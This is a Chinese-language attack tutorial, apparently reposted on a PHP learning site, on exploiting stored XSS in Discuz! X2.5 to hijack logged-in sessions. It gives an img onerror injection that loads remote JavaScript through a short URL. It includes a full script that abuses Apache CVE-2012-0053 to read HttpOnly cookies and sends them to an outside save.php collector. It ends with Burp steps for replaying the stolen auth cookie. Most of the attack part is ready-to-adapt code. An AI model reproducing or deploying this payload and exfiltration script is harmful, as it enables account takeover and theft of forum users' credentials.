好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

discuzX2.5跨站漏洞利用 - 网站安全 - 自学php

0×01 无法用获取的COOKIE登录分析

都说DISCUZ X2.5(以下简称DZ25)的COOKIE拿到了也没有办法登录,但是为什么呢?今天就来简单的看一下,我们登录一个DZ25的站,登陆之后看下COOKIE 在里面我们翻下,就会发现一个HTTPONLY的字段,还是AUTH,也就是登录用户,所以当然无法直接搞到完整COOKIE,残缺的COOKIE自然无法登录 0×02 获取完整COOKIE条件分析

大家知道,HTTPONLY是专门用来防止XSS的,但是不要直接放弃,我们知道低版本的AJAX利用TRANCE方法和APACHE有一个CVE-2012-0053 漏洞 ,均可以获取HTTPONLY的COOKIE

文章链接:

那么我们利用的条件就清晰了:

低版本的浏览器 [或者]APACHE服务器没有补CVE-2012-0053

0×03 DZ25跨站分析

我在DZ官网 下载 了最新的DZ25,发现唯一没有补的洞就是在描述中插入XSS 这样,当点击图片时候,就会触发XSS,如下 当然,只是ALERT是不够的,为了触发漏洞,我们必须引用外部的JS文件,因为无论哪个条件,都需要一段AJAX脚本

如果直接引用<script src=’http://www.xxx.com/1.js’></script>会发现无法加载 (因为与本文关系不大,为什么不能加载这里我就不写分析了)

那怎么办呢?

不要忘了,我们还有IMG标签

我们可以使用:

<img src=x onerror=]var s=createElement(‘script’);document.body.appendChild(s);s.src=’http://localhost/1.js’;]>

这样的代码来创建一个body里面的script(为什么要这样写我就不说了,总之是这样的)

但是写进去后我们发现,太长了……是的被DZ25截断了

那我们来改一改,将不需要的去掉,地址换成短网址结果如下:

<img src=x onerror=s=createElement(‘script’);body.appendChild(s);s.src=’http://t.cn/z12345G’;>

插入之后刚刚好

加载下试试

至此,我们已经可以让dz加载外部的js了

0×04 JS编写

这个我就给个样本吧,大家改改就是了

 

这是触发apache漏洞的样本

 

查看源代码

 

 

1 makeRequest();

2

3 function setCookies (good) { 

4

5 var str = ""; 

6

7 for (var i=0; i< 819; i++) { 

8

9 str += "x"; 

10

11 }

12

13 for (i = 0; i < 10; i++) { 

14

15 if (good) { 

16

17 var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1). 

18

19 toUTCString()+"; path=/;"; 

20

21 }

22

23 else { 

24

25 var cookie = "xss"+i+"="+str+";path=/"; 

26

27 }

28

29 document.cookie = cookie; 

30

31 }

32

33 }

34

35 function makeRequest() { 

36

37 setCookies();

38

39 function parseCookies () { 

40

41 var cookie_dict = {}; 

42

43 if (xhr.readyState === 4 && xhr.status === 400) { 

44

45 var content = xhr.responseText.replace(/\r|\n/g,'').match 

46

47 (/

48 (.+)<\/pre>/); 

49

50 if (content.length) { 

51

52 content = content[1].replace("Cookie: ", ""); 

53

54 var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g); 

55

56 for (var i=0; i 

57 var s_c = cookies[i].split('=',2); 

58

59 cookie_dict[s_c[0]] = s_c[1]; 

60

61 }

62

63 }

64

65 setCookies(true);

66

67 var x=new Image(); 

68

69 try

70

71 {

72

73 var myopener=''; 

74

75 myopener=window.opener && window.opener.location?window.opener.location:''; 

76

77 }

78

79 catch(err)

80

81 {

82

83 }

84

85 x.src='http:// www.2cto.com /save.php?opener='+JSON.stringify(cookie_dict); 

86

87 }

88

89 }

90

91 var xhr = new XMLHttpRequest(); 

92

93 xhr.onreadystatechange = parseCookies; 

94

95 xhr.open("GET", "httponly.php", true); 

96

97 xhr.send(null);

98

99 }

 

0×04 COOKIE搜集

我们来看看得到的COOKIE

自己写的……界面比较丑……

可以看到,AUTH字段很好的被包裹了进去

但是,这是JSON格式的,我们还要做点处理,

1.将]全部去掉

2.将:换成=

3.将,换成;

最终得到如下:

0×05 登录

我们打开BURP,这个东西是个神器,不用我说大家都会用吧?

选上cookie然后点edit

然后UPDATE一下

之后设置代理为burp,burp就会自动替换头中的cookie字段

然后看下效果~~~

查看更多关于discuzX2.5跨站漏洞利用 - 网站安全 - 自学php的详细内容...

  阅读:48次